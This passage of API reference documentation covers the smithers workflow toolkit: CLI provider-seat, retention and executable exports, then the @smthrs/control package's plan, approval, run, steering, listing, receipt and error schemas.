(for example `test:make` and `test:go`). Installation recipes freeze existing
lockfiles and disable lockfile creation when none exists.
Yarn 2+ and unversioned Yarn require an existing lockfile; lockless installation
is available only for a declared Yarn 1 version.

## Providers

Which seats this machine can run.

| Export                                                | Signature                                                          | Meaning                                                                                                                                                                                                                                                                                                                                         |
| ----------------------------------------------------- | ------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Candidate`, `order`                                  |                                                                    | The seats considered, in preference order.                                                                                                                                                                                                                                                                                                      |
| `Detection`, `detect`                                 | `(host) => ReadonlyArray<Detection>`                               | What this machine has, from host facts passed in.                                                                                                                                                                                                                                                                                               |
| `ClaudeCodeLogin`, `claudeCodeLogin`                  | `(environment) => Promise<ClaudeCodeLogin \| undefined>`           | The `claude` on `PATH` and what `claude auth status` reports; never a token or credentials file. Concurrent probes share one result per login environment; token-backed environments are isolated by object. Subscription statuses persist and other statuses expire after 30 seconds. Invalid status reports the executable's redacted stderr. |
| `codexModel`                                          | `(model) => string`                                                | The OpenAI model an alias names for a `codex:` seat, or the model unchanged.                                                                                                                                                                                                                                                                    |
| `claudeCode`                                          | `(host) => Promise<{ available, reason, setupHint, executable? }>` | Whether the `claude-code` seats run: a subscription signed in to Claude Code, and no `ANTHROPIC_API_KEY`.                                                                                                                                                                                                                                       |
| `claudeCodeSeats`, `claudeCodeModel`                  |                                                                    | `claude-code:<alias>` for each Anthropic alias, and the model Claude Code runs for one.                                                                                                                                                                                                                                                         |
| `Chosen`, `chooseSeat`                                |                                                                    | The seat picked, and why.                                                                                                                                                                                                                                                                                                                       |
| `compatible`, `compatibleKey`                         |                                                                    | The provider compatibility table and its lookup.                                                                                                                                                                                                                                                                                                |
| `defaultSeat`                                         | `Record<Candidate, string>`                                        | The seat string each candidate resolves to.                                                                                                                                                                                                                                                                                                     |
| `SeatDescription`, `seatDescriptions`, `describeSeat` | `(seat) => SeatDescription \| undefined`                           | Every seat's display label, one strength line, and its relative cost tier (`low`, `mid`, `high`) from the committed rate card.                                                                                                                                                                                                                  |
| `starterSeats`                                        | `ReadonlyArray<readonly [variable: string, seat: string]>`         | Ordered credential-variable and model-seat pairs used by scaffolding, aligned with the executor's supported provider routes.                                                                                                                                                                                                                    |
| `NoSeatError`, `SeatSyntaxError`, `noSeatMessage`     |                                                                    | The two refusals, and the sentence that names what to set.                                                                                                                                                                                                                                                                                      |

## Gc

Retention.

| Export                      | Signature                                        | Meaning                                                                           |
| --------------------------- | ------------------------------------------------ | --------------------------------------------------------------------------------- |
| `defaultRetention`          | `"30d"`                                          | The default `--older-than`.                                                       |
| `duration`                  | `(value) => number \| undefined`                 | A duration string as milliseconds. `0s` is not a retention policy and is refused. |
| `databases`                 | `(root) => ReadonlyArray<string>`                | The files a sweep opens.                                                          |
| `Failure`, `failureMessage` |                                                  | A database the sweep could not open, and the sentence naming them.                |
| `Sweep`, `sweep`            | `(root, { olderThan, dryRun }) => Effect<Sweep>` | The pass, and what it deleted or would delete.                                    |

## Memory, mirrors, and credentials

| Module         | Export summary                                                                                                                                                                                                                                                                                        |
| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Legacy`       | `read(path)` opens a 0.x `smithers.db` read-only; `refusal(databases)` is the sentence that names its non-terminal runs; `terminalStatuses` is the vocabulary it counts against.                                                                                                                      |
| `ClaudeMirror` | The Claude Code plugin mirror protocol: `contract`, `subscriptionsPath`, `subscriptionTtlMs`, `Subscription`, `readSubscriptions`, `subscribe`, `unsubscribe`, `MirrorNode`, `Frame`, `frame`, `defaultMaxOutputChars`, `terminalStatuses`, `isTerminal`, `Transition`, `notableKinds`, `transition`. |
| `Update`       | `packageName`, `registryUrl`, `Status`, `isNewer`, `compare(current, tags)`, `render(status)`. Compares the installed version against the `next` and `latest` dist-tags, `next` first, and prints the install line. It changes nothing.                                                               |
| `Bug`          | `defaultEndpoint`, `timeoutMs`, `scrubText`, `scrub`, `Report`, `report`. Everything collected takes the diagnostic redaction rules (`Redaction.redactDiagnostic`) before it leaves the machine, and a value carrying a callable, a proxy, or a `toJSON` member is refused rather than rendered.      |
| `Version`      | `packageVersion`, read from the shipped manifest. The module throws at import when the manifest declares no version, because printing `undefined` to an operator is worse than refusing to start.                                                                                                     |

## The executable

`@smthrs/cli/bin` is the side-effect entry point. It installs the SIGINT and
SIGTERM handlers, decides between a document, a refusal, the MCP server, and
the command tree, and maps the exit to a process status. The package installs
it as `smthrs`, with `smithers` as an alias.

`@smthrs/cli/cli/LegacyBin` is the retained Effect command tree's entry point.
It runs at import, so `bin` loads it only for a legacy invocation, and the
manifest declares both under `sideEffects` so a bundler keeps them.

## Command documentation

The per-command reference is generated from `--help` and lives on smithers.sh:
[`smthrs flow`](/docs/reference/cli/flow/), [`smthrs runs`](/docs/reference/cli/runs/), [`smthrs run`](/docs/reference/cli/run/),
and the rest. This page documents the library surface used to compose or embed
that executable.

## ExecutionEnvironment

`ExecutionEnvironment` shares saved local, SSH, and Cloud command locations between
CLI consumers. `list/get/add/remove` read and update the private location registry;
`plan(profile, argv, source, options)` assembles a command, and `run` executes it with
inherited I/O and returns its exit status. A `Profile` supplies `name`, `transport`,
`directory`, optional `destination`, and optional `home`. `Options` selects a
terminal, cancellation signal, or loopback port forwarding for an SSH profile. Tool credentials remain
managed by tools on the execution machine.

Read-only Node SQLite connections use a one-second busy timeout by default. `NodeDatabase.layer({ readOnly: true, busyTimeout })` can set a different bounded lock wait; writable connections retain a zero default.

---

# @smthrs/control
https://smithers.sh/docs/reference/api/control/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/control/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/control/docs)

> **Related APIs:** [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/model`](/docs/reference/api/model/) · [`@smthrs/notifications`](/docs/reference/api/notifications/) · [`@smthrs/plan`](/docs/reference/api/plan/) · [`@smthrs/registry`](/docs/reference/api/registry/) · [`@smthrs/run-store`](/docs/reference/api/run-store/)

Every module is importable from the root entry point as a namespace and from
its own subpath:

```ts
import { Control, ControlLive, Monitor } from "@smthrs/control"
import * as ControlSchema from "@smthrs/control/ControlSchema"
```

`@smthrs/control/internal/*`, `@smthrs/control/migrations/*`, and every nested
`*/index` are blocked in the export map. `@smthrs/control/package.json` is
exported, and so is `@smthrs/control/test/TestControl`.

Signatures in this reference use the usual shorthand: `Effect<A, E, R>` for
`Effect.Effect`, `Stream<A, E>` for `Stream.Stream`, `Layer<A, E, R>` for
`Layer.Layer`, and `Redacted<A>` for `Redacted.Redacted`.

## Example

```ts
import { Control } from "@smthrs/control/Control"
import * as Effect from "effect/Effect"

const program = Effect.gen(function*() {
  const control = yield* Control
  const card = yield* control.plan({ flowId: "quickstart/Deploy", input: { build: "v1.4.0" } })
  yield* control.approve(card.approval)
  return yield* control.run({
    _tag: "Plan",
    planId: card.planId,
    digest: card.digest,
    envelope: card.envelope,
    idempotencyKey: "deploy:v1.4.0"
  })
})
```

## Control

The transport-independent control vtable. Every implementation in this package
and every client projects onto this one interface. Each operation includes
`TransportError` and `Unauthorized` in its error channel for remote transport
and authentication failures.

| Export      | Kind      | Signature                                                                                                                                              |
| ----------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Control`   | class     | `Context.Service<Control, Service>` at key `/control/Control`                                                                                          |
| `Service`   | interface | The ten operations in the following table                                                                                                              |
| `make`      | function  | `(implementation: Service) => Service`                                                                                                                 |
| `layerNoop` | layer     | `Layer<Control>`. Every operation fails `Unavailable`, naming the verb as `feature` and the constant `control-runtime-engine-integration` as `ticket`. |

### Service

| Operation | Signature                                                                                                                                                                                                                                     | Returns                                                                                                       |
| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| `plan`    | `(input: PlanInput) => Effect<PlanCard, FlowNotFound \| InvalidInput \| PersistenceError \| Unavailable \| TransportError \| Unauthorized>`                                                                                                   | The reviewable card, whether or not this call created it.                                                     |
| `run`     | `(input: RunInput) => Effect<Receipt, RunNotFound \| PlanNotFound \| PlanDenied \| PlanDigestMismatch \| EnvelopeMismatch \| ClaimLost \| InvalidInput \| LaunchFailed \| PersistenceError \| Unavailable \| TransportError \| Unauthorized>` | `Accepted`, `AlreadyApplied`, `Conflict`, or `Parked` for a plan; a resume answers as `resume` does.          |
| `approve` | `(input: ApprovalInput) => Effect<Receipt, PlanDigestMismatch \| EnvelopeMismatch \| AlreadyResolved \| PlanNotFound \| RunNotFound \| InvalidInput \| PersistenceError \| Unavailable \| TransportError \| Unauthorized>`                    | `Accepted`, `AlreadyApplied`, `Conflict`, or `Terminal`.                                                      |
| `deny`    | same as `approve`                                                                                                                                                                                                                             | same as `approve`.                                                                                            |
| `steer`   | `(input: SteerInput) => Effect<Receipt, NotificationError \| RunNotFound \| InvalidInput \| PersistenceError \| Unavailable \| TransportError \| Unauthorized>`                                                                               | `Accepted`, `AlreadyApplied`, `Conflict`, or `Terminal`.                                                      |
| `signal`  | `(input: SignalInput) => Effect<Receipt, RunNotFound \| NoMatchingWait \| InvalidInput \| PersistenceError \| Unavailable \| TransportError \| Unauthorized>`                                                                                 | `Accepted`, `AlreadyApplied`, `Conflict`, or `Terminal`.                                                      |
| `cancel`  | `(input: RunMutationInput) => Effect<Receipt, RunNotFound \| ClaimLost \| InvalidInput \| PersistenceError \| Unavailable \| TransportError \| Unauthorized>`                                                                                 | `Accepted` or `Terminal`. Never replays its recorded receipt.                                                 |
| `resume`  | same as `cancel`                                                                                                                                                                                                                              | `Accepted`, `AlreadyApplied`, `Conflict`, or `Terminal`.                                                      |
| `list`    | `(input: ListRequest) => Effect<ListResponse, ControlError>`                                                                                                                                                                                  | A bounded page of flows, runs, triggers, or trigger fires, or exact run-scoped native execution observations. |
| `watch`   | `(filter: WatchFilter) => Stream<ControlEvent, ControlError>`                                                                                                                                                                                 | Committed journal entries, plus the deltas the plane derives.                                                 |

There is no `pause`. An operator park is written through
`ControlRuntime.writeStatus(runId, fence, "parked")`.

### Inputs

| Type               | Shape                                                                                                                                                                                   |
| ------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `PlanInput`        | `{ flowId: FlowId; input: unknown; idempotencyKey?: IdempotencyKey }`. `input` is `unknown` so the runtime can decode its own flow's schema before anything crosses a transport.        |
| `RunInput`         | `ControlSchema.RunInputSchema.Type & { principal?: Principal }`, so either `{ _tag: "Plan", planId, digest, envelope, idempotencyKey }` or `{ _tag: "Resume", runId, idempotencyKey }`. |
| `ApprovalInput`    | `ApprovalPayload & { principal?: Principal }`: `{ target, scope, idempotencyKey }`.                                                                                                     |
| `SteerInput`       | `{ runId: RunId; message: SteerMessage; idempotencyKey: IdempotencyKey }`.                                                                                                              |
| `SignalInput`      | `{ runId: RunId; signal: SignalPayload; idempotencyKey: IdempotencyKey; principal?: Principal }`.                                                                                       |
| `RunMutationInput` | `{ runId: RunId; idempotencyKey: IdempotencyKey; reason?: string; principal?: Principal }`. `reason` is recorded on the journal entry the mutation writes.                              |

`ApprovalTarget` is re-exported from `ControlSchema` for convenience.

`principal` is present on the local contracts because a runtime stamps it. The
RPC schemas that exclude it do so on purpose: an authenticated server names the
identity, and a remote client cannot claim another.

## ControlSchema

`Control.list({ _tag: "executions", runId, executionIds })` reads at most 200 exact native executions under an authorized control run. It returns `{ _tag: "executions", source, revision, items }`. Each snapshot is `Observed` with a native observation, `Missing`, or `Unavailable`. Unrelated IDs and incomplete ancestry never expose another run. Hosts without this observer return `Unavailable`; historical journal statuses remain historical. A batch and its ancestry checks share one engine transaction and source revision. `runs show` reads every known ID in bounded batches and applies only matching observed rows. Its `executionSnapshots` array retains each batch's source and revision; batches may observe different revisions while a run progresses. A changed source refuses the show until retried.

The serializable values both halves of the wire decode. Every entry has a
schema constant and a type of the same name unless noted.

### Identifiers and identity

| Export                              | Shape                                                                               |
| ----------------------------------- | ----------------------------------------------------------------------------------- |
| `RunId`, `FlowId`, `IdempotencyKey` | `Schema.String` aliases that name what a string is.                                 |
| `Principal`                         | `{ id: string; kind: string; stampedAt: number }`. Stamped at the control boundary. |

### Authority

| Export            | Shape                                                                                                                                                                                    |
| ----------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Envelope`        | `{ capabilities: string[]; flows: string[]; budget: { tokens?: number; milliseconds?: number; usd?: number; onExceeded?: BudgetOnExceeded }; host?: string }`. Ceilings are nonnegative. |
| `GrantScope`      | `"once" \| "run" \| "remembered"`.                                                                                                                                                       |
| `ApprovalTarget`  | `{ _tag: "Plan", planId, digest, envelope }` or `{ _tag: "Node", runId, requestId, digest, envelope }`.                                                                                  |
| `ApprovalPayload` | `{ target: ApprovalTarget; scope: GrantScope; idempotencyKey: IdempotencyKey }`.                                                                                                         |

### Plans

| Export           | Shape                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `PlanNodeStatus` | `"cached" \| "run"`. The two outcomes a step key already decides: reuse the cached result, or run the step. A card reports nothing else.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `PlanNode`       | The persisted plan node's fields plus `status`. `key` is the step key [`@smthrs/plan`](/docs/reference/api/plan/) compiled, so a node named here and a node in the persisted plan are the same node.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `PlanCard`       | `{ planId, flowId, digest, inputSummary, warnings?: DiscoveryWarning[], envelope, deployClass, executionDigest?, plan?, nodes, graph?, approval }`. `approval` is the complete payload a reviewer resubmits unchanged.                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `PlanEdgeReason` | `"value" \| "continuation" \| "failure" \| "conflict" \| "lane-merge"`. Why one node waits for another, in the vocabulary of whichever graph builder the host planned with.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `PlanEdge`       | `{ from, to, reason: PlanEdgeReason }`. One labelled edge of the graph the plan was built from.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `PlanGraphNode`  | `{ id, declaredAt?: { path, line } }`. Where one node was declared, repo-relative under `@smthrs/journal`'s own rule, which refuses an absolute path. A host that cannot make a path relative to its root omits it.                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `PlanGraph`      | `{ edges: PlanEdge[], nodes?: PlanGraphNode[], sourceRevision?: string }`. A `PlanNode` carries `dependsOn`, one unlabelled edge set that cannot tell a value dependency from a recovery arm or from an ordering edge a write conflict added; a host that graphs a flow reports the reasons here instead, and the declaration sites the key material deliberately does not carry. `sourceRevision` is the immutable name of the tree those sites were read out of: a jj working-copy commit id, or a git commit for a tree that still matches one, so a reader can ask for the file AT that revision instead of whatever is on disk now. A host that cannot name one omits it. |

`graph` sits deliberately OUTSIDE the digest an approval binds to. The edges
and the declaration sites describe the plan a reader draws, and nothing in
them changes what will run,
so a host that starts reporting them re-plans to the digest it planned to
before and every parked approval still validates. A host that graphs nothing
omits the field, and a card stored before the field existed still decodes.

`warnings` carries discovery diagnostics for the selected flow, including source
locations for conservative authority fallbacks. Like `graph`, it is outside the
approval digest and does not change the approval payload. Generic hosts and
cards stored before the field existed may omit it.

`executionDigest` binds a discovery-based host's measured source and metadata
to the approved card digest. It is optional for generic control-plane hosts,
but `AgentSession` requires it for prompt execution and checks it again at
launch and on every drive or resume. Changing prompt bytes, model, parameters,
or other discovered metadata requires a new plan and approval.

### Runs

| Export         | Shape                                                                                                                                                                                                                                                                               |
| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `RunStatus`    | `"accepted" \| "running" \| "parked" \| "waiting-approval" \| "cancelled" \| "completed" \| "failed"`.                                                                                                                                                                              |
| `RunOrigin`    | `Lineage.Origin`, re-exported so a serializable projection needs one import.                                                                                                                                                                                                        |
| `CancelSource` | `"control" \| "engine" \| "cascade"`.                                                                                                                                                                                                                                               |
| `Cancellation` | `{ requestedAt; source; principal?; reason?; cascadedFrom? }`. See [cancellation attribution](https://github.com/smithersai/smithers/blob/main/packages/smithers/control/docs/concepts/cancellation.md).                                                                                                                                                          |
| `RunSummary`   | The projection every listing returns. Required: `runId`, `flowId`, `status`, `createdAt`, `updatedAt`. Optional: `planId`, `planDigest`, `ownerId`, `parentRunId`, `lineageId`, `roundOrdinal`, `origin`, `waitingReason`, `steering`, `pendingResume`, `parkedBy`, `cancellation`. |

`waitingReason` is the run row's own column, written by the engine and only
read here. The CLI's `runs list` and `runs show` also render `executor` in that
position for a run that has sat at `accepted` with no owner past the launch
handoff window; that value is computed at render time and never stored, so a
reader going through the RPC, the gateway, or a plugin sees the field absent on
the same run.

### Steering

| Export          | Shape                                                                                                               |
| --------------- | ------------------------------------------------------------------------------------------------------------------- |
| `MessageSteer`  | The envelope plus `kind?: "Message"` and `body: string`.                                                            |
| `SeatSteer`     | The envelope plus the notification package's seat payload fields.                                                   |
| `ThinkingSteer` | The envelope plus its thinking payload fields.                                                                      |
| `ToolsSteer`    | The envelope plus its tools payload fields.                                                                         |
| `SteerMessage`  | The union of those four. The shared envelope is `{ messageId, runId, principal, createdAt }`.                       |
| `steerItem`     | `(message: SteerMessage) => SteerPayload`. Strips the control envelope and returns the item the harness reads back. |

### Signals and events

| Export          | Shape                                                                                                                                                                                                                       |
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SignalPayload` | `{ name: string; payload: Json }`.                                                                                                                                                                                          |
| `WatchCursor`   | `{ sequence: number; offset?: number }`. A present offset is the last consumed expansion index; absent means the source entry is fully consumed.                                                                            |
| `WatchFilter`   | `{ runId?: RunId; afterSequence?: number; afterCursor?: WatchCursor; follow?: boolean }`. Either cursor requires `runId`; do not combine them. Omitting `follow` keeps the live stream; `false` requests a finite snapshot. |
| `ControlEvent`  | `{ cursor?: WatchCursor; sequence: number; kind: string; runId?: RunId; occurredAt: number; payload: Json }`.                                                                                                               |

### Listing

| Export            | Shape                                                                                                                                                                                                                                                                                                                                                                                                                   |
| ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `defaultPageSize` | `100`.                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `maxPageSize`     | `500`.                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `PageLimit`       | An integer between 1 and `maxPageSize`.                                                                                                                                                                                                                                                                                                                                                                                 |
| `ListRequest`     | `{ _tag: "flows", filters?, cursor?, limit? }`, `{ _tag: "runs", filters?: { runId?, flowId?, status?, principalId?, parentRunId?, lineageId? }, cursor?, limit? }`, `{ _tag: "triggers", filters?: { triggerId?, flowId?, enabled? }, cursor?, limit? }`, `{ _tag: "fires", filters?: { triggerId?, runId?, outcome? }, cursor?, limit? }`, or `{ _tag: "plans", filters?: { flowId?, decision? }, cursor?, limit? }`. |
| `ListResponse`    | `{ _tag: "flows", items, warnings?, nextCursor? }`, `{ _tag: "runs", items: RunSummary[], nextCursor? }`, `{ _tag: "triggers", items: TriggerSummary[], nextCursor? }`, `{ _tag: "fires", items: FireSummary[], nextCursor? }`, or `{ _tag: "plans", items: PlanSummary[], nextCursor? }`.                                                                                                                              |
| `TriggerSummary`  | `{ triggerId, flowId, input: Json, cron, timezone?, overlap: "skip" \| "buffer-one" \| "supersede", catchUp: "none" \| "one" \| "all", maxCatchUp?, enabled, revision, lastFiredAtMs?, pendingAtMs?, activeRunId?, nextOccurrencesMs: number[], schedulerLastTickMs? }`. One registered trigger. `schedulerLastTickMs` absent means no scheduler has ticked on this host.                                               |
| `FireOutcome`     | `"launched" \| "completed" \| "skipped" \| "buffered" \| "superseded" \| "failed"`. The same words the triggers package records in its fire ledger.                                                                                                                                                                                                                                                                     |
| `FireSummary`     | `{ triggerId, occurrenceAtMs, outcome: FireOutcome \| null, runId?, error?, waiting?: "approval" }`. One claimed occurrence; `outcome: null` is the window between the claim and its result.                                                                                                                                                                                                                            |
| `PlanDecision`    | `"pending" \| "approved" \| "denied"`.                                                                                                                                                                                                                                                                                                                                                                                  |
| `PlanSummary`     | `{ card: PlanCard, input: Json, decision: PlanDecision }`. One stored plan; `card.approval` is the payload `approve` or `deny` takes.                                                                                                                                                                                                                                                                                   |

`plans` lists stored plans oldest first, narrowed by `flowId` and `decision`.
A build target that declares `approval: "required"` leaves a pending
`system/target` plan whose `input` is `{ label, digest }`; list them with
`{ _tag: "plans", filters: { flowId: "system/target", decision: "pending" } }`
and submit `card.approval` to `approve` or `deny`. A page returns at most
`limit` plans and `nextCursor` while later plans may match. Plans are an
operator's to read: a reader restricted to its own runs lists none.

Run listings default to 100 items and accept limits from 1 through 500. Pass
`nextCursor` back unchanged with the same filters. Run cursors contain stable
ordering keys, not numeric offsets. Control-launched runs retain launch order;
engine-created runs follow in creation-time and run-id order. Removing a prior
row does not skip the next row. Listings are live, not a fixed snapshot.

A run page returns at most `limit` rows; `limit` does not bound the work done
to fill it. Without a `status` or `terminal` filter, the runtime selects at most
`limit` rows on durable summary fields before decoding summaries, reading their
ancestry, or observing execution, and executor observations enrich only those
rows. When the executor reports observed status, a `status` or `terminal`
filter applies to that observed status instead: the runtime selects on the
remaining filters, observes each selected row, and keeps walking the source
until the page is full or no runs remain. One page can therefore observe many
more runs than `limit`, so a host cannot treat the page size as a bound on
`readExecution` calls. Pending steering counts enrich only the returned rows.
An exact `runId` filter keeps the direct lookup and applies the remaining
filters to that observation.

`principalId` selects the runs whose `RunSummary.launchedBy.id` it names. A
run the control plane launched records its launcher; one the engine created
(a child, a fork, a later round) records none. Over RPC the server restricts a
reader that `ControlRpcs.RunVisibility` does not make an operator to the runs
its own principal launched: `List` sets `ListInput.reader` and `Watch` sets
`WatchInput.reader`, neither of which is on the wire. Such a reader lists and
watches only those runs, sees only the fires that started them and no
triggers, receives nothing from a plan partition, and gets `RunNotFound` for
any other run. A lost-tail watch failure reaches it without partition names.
`steer`, `signal`, `cancel` and `resume` take the same `reader`: over RPC the
server sets it, and such a reader mutates only those runs and gets
`RunNotFound` for any other.

The `triggers` and `fires` variants are answered through the `DispatchReader`
port. A host without one refuses both with `InvalidInput` whose issue is
`this host serves no trigger store`, never with an empty page.

### Receipts

`Receipt` is the union every mutation answers:

| Member           | Fields                                                              |
| ---------------- | ------------------------------------------------------------------- |
| `Accepted`       | `{ receiptId: string; runId?: RunId; handedTo?: RunHost }`          |
| `AlreadyApplied` | `{ receiptId: string; runId?: RunId }`                              |
| `Parked`         | `{ receiptId: string; planId: string; status: "waiting-approval" }` |
| `Conflict`       | `{ message: string }`                                               |
| `Terminal`       | `{ runId: RunId; status: RunStatus }`                               |

`RunHost` is `{ hostId: string; pid: number }`. An `Accepted` resume with
`handedTo` names the live host that parked the run and now drives it.

### RPC request schemas

`PlanInputSchema`, `RunInputSchema`, `ApprovalInputSchema`,
`SteerInputSchema`, `SignalInputSchema`, `RunMutationInputSchema`,
`ReasonedMutationInputSchema`, and `CancelInputSchema` are the wire forms.
`PlanInputSchema` takes `Schema.Json` where the local contract takes `unknown`.
`ReasonedMutationInputSchema` adds `reason` and omits `principal`, because the
server stamps the identity it authenticated. `CancelInputSchema` is a named
alias of it, so cancellation's public contract stays explicit.

## ControlError

Every stable failure the plane emits. Each class carries a constant `code` a
client may branch on.

| Class                | `code`                                                                      | Fields                                   | Meaning                                                                                  |
| -------------------- | --------------------------------------------------------------------------- | ---------------------------------------- | ---------------------------------------------------------------------------------------- |
| `RunNotFound`        | `run_not_found`                                                             | `runId`                                  | No run with this id exists.                                                              |
| `PlanNotFound`       | `plan_not_found`                                                            | `planId`                                 | No plan with this id. Carries an operator-facing `message`.                              |
| `PlanDenied`         | `plan_denied`                                                               | `planId`                                 | The plan was denied. Carries an operator-facing `message`.                               |
| `FlowNotFound`       | `flow_not_found`                                                            | `flowId`                                 | No flow with this id is registered.                                                      |
| `PlanDigestMismatch` | `plan_digest_mismatch`                                                      | `planId`, `expected`, `actual`           | The submitted plan does not hash to the declared digest.                                 |
| `EnvelopeMismatch`   | `envelope_mismatch`                                                         | `planId`, `expected`, `actual`           | The plan's effect envelope differs from the declared one.                                |
| `ClaimLost`          | `claim_lost`                                                                | `runId`, `reason?`, `parkedBy?`          | The caller's claim lapsed or was fenced by a newer owner, or a live host parked the run. |
| `AlreadyResolved`    | `already_resolved`                                                          | `requestId`                              | This request was already answered.                                                       |
| `InvalidInput`       | `invalid_input`                                                             | `issue`                                  | The request missed its schema or a stated precondition.                                  |
| `Unauthorized`       | `unauthorized`                                                              | `message`                                | No usable credential for this operation.                                                 |
| `Unavailable`        | `unavailable`                                                               | `feature`, `ticket`                      | Not implemented in this deployment.                                                      |
| `TransportError`     | `transport_error`                                                           | `message`, `retryable`, `cause?`         | The request failed before a declared response arrived.                                   |
| `PersistenceError`   | `persistence_failed`                                                        | `operation`, `message`, `cause?`         | A store operation failed.                                                                |
| `LaunchFailed`       | `launch_failed`                                                             | `runId`, `message`, `cause?`             | The executor refused or could not start the run.                                         |
| `NoMatchingWait`     | `no_matching_wait`                                                          | `runId`, `waitName`                      | A signal named a wait point the run does not have open.                                  |
| `CredentialConflict` | `credential_conflict`                                                       | `id`, `expectedVersion`, `actualVersion` | A credential write lost a compare-and-set race.                                          |
| `NotificationError`  | `notification_closed`, `notification_full`, and existing notification codes | `message`, `notificationId?`, `path?`    | Existing notification error class, now preserved by steering locally and through RPC.    |

| Export               | Kind   | Meaning                                                                                                              |
| -------------------- | ------ | -------------------------------------------------------------------------------------------------------------------- |
| `ControlErrorSchema` | schema | The single membership list. `ControlClient.isControlError` is `Schema.is` of it, so a class added here reaches both. |
| `ControlError`       | type   | `typeof ControlErrorSchema.Type`.                                                                                    |

`NoMatchingWait` spells its field `waitName` rather than `name`, because a
field named `name` on an `Error` subclass shadows `Error.prototype.name`, which
every renderer in the tree reads.

`TransportError.retryable` classifies the transport phase alone. Resend a
retryable mutation only when its idempotency key makes replay safe; a keyless
request can have reached the server even when its response was lost.

### New public steering refusal channel

`Control.steer` now preserves the existing notifications package's
`NotificationError`, including new `notification_closed` and `notification_full`
codes. This is an extension to the public error union and the Steer RPC schema;
it does not introduce a new error class or change successful receipts.
Existing `notification_unavailable`, `notification_id_reused`, and
`notification_invalid` failures also now retain this tag, replacing their former
`PersistenceError` wrapper with operation `control.steer.notification`. Update
callers that matched that wrapper to handle `NotificationError` directly.

```ts
import { Effect } from "effect"

const outcome = yield* control.steer(input).pipe(
  Effect.map(receipt => ({ kind: "receipt" as const, receipt })),
  Effect.catchTag("/notifications/NotificationError", error => Effect.gen(function*() {
    if (error.code === "notification_closed") return { kind: "start-new-request" as const }
    if (error.code === "notification_full") return { kind: "retry-after-drain" as const }
    return yield* Effect.fail(error)
  }))
)
```

A closed receiver cannot accept a new message, even if its surrounding run is
still finishing. A full queue has retained nothing; after a boundary drains it,
the caller can retry the same notification and idempotency key. Control records
no accepted mutation for a capacity refusal. Duplicate accepted messages retain
the existing `AlreadyApplied` behavior. Journal I/O failures still become
`PersistenceError`; their diagnostic cause is retained separately from the fixed
operator-facing message.

Deploy updated clients/UI and server together. Older RPC decoders do not know
this error variant and may report a decode or transport failure instead of the
closed/full reason. The change is additive in the source API but is **not fully
wire-compatible with older exhaustive error decoders**. Do not retry an unknown
decode failure as if it proved the request was never admitted. Existing error
codes, successful response shapes, and notification events are unchanged.

## ControlLive

| Export  | Signature                                                                           |
| ------- | ----------------------------------------------------------------------------------- |
| `layer` | `Layer<Control, never, ControlRuntime \| Journal \| NotificationQueue \| Registry>` |

Writes delegate to `ControlRuntime`; journal events are observational records
committed with the state they describe. `watch` only replays and follows
committed entries. `ControlExecutor` is read optionally, so a composition
without one records but starts nothing. `DispatchReader` is read optionally
too: without one, `list` still answers `flows` and `runs`, and refuses
`triggers` and `fires` with the typed issue `this host serves no trigger store`.

## ControlRuntime

The persistence port `ControlLive` writes through, and its deterministic
in-memory implementation. A production adapter fences every owner-sensitive
write, implements resume as join-or-claim, releases claims on every waiting or
terminal transition, and translates conflicts into typed failures.

| Export                              | Kind          | Signature                                                                                                   |
| ----------------------------------- | ------------- | ----------------------------------------------------------------------------------------------------------- |
| `ControlRuntime`                    | class         | `Context.Service<ControlRuntime, Service>` at key `/control/ControlRuntime`                                 |
| `make`                              | function      | `(implementation: Service) => Service`                                                                      |
| `layerMemory`                       | layer         | `(options?: MemoryOptions) => Layer<ControlRuntime, never, Crypto>`                                         |
| `requireApproved`                   | function      | `(token: ApprovalToken) => Effect<ApprovalToken & { _tag: "Approved" }, ApprovalPending \| ApprovalDenied>` |
| `ApprovalDecision`                  | schema        | Tagged `Pending \| Approved \| Denied` decision                                                             |
| `ApprovalPending`, `ApprovalDenied` | error schemas | Fail-closed gate outcomes; include them in action/flow error schemas                                        |

### Service

| Group             | Members                                                                                                                                                                                             |
| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
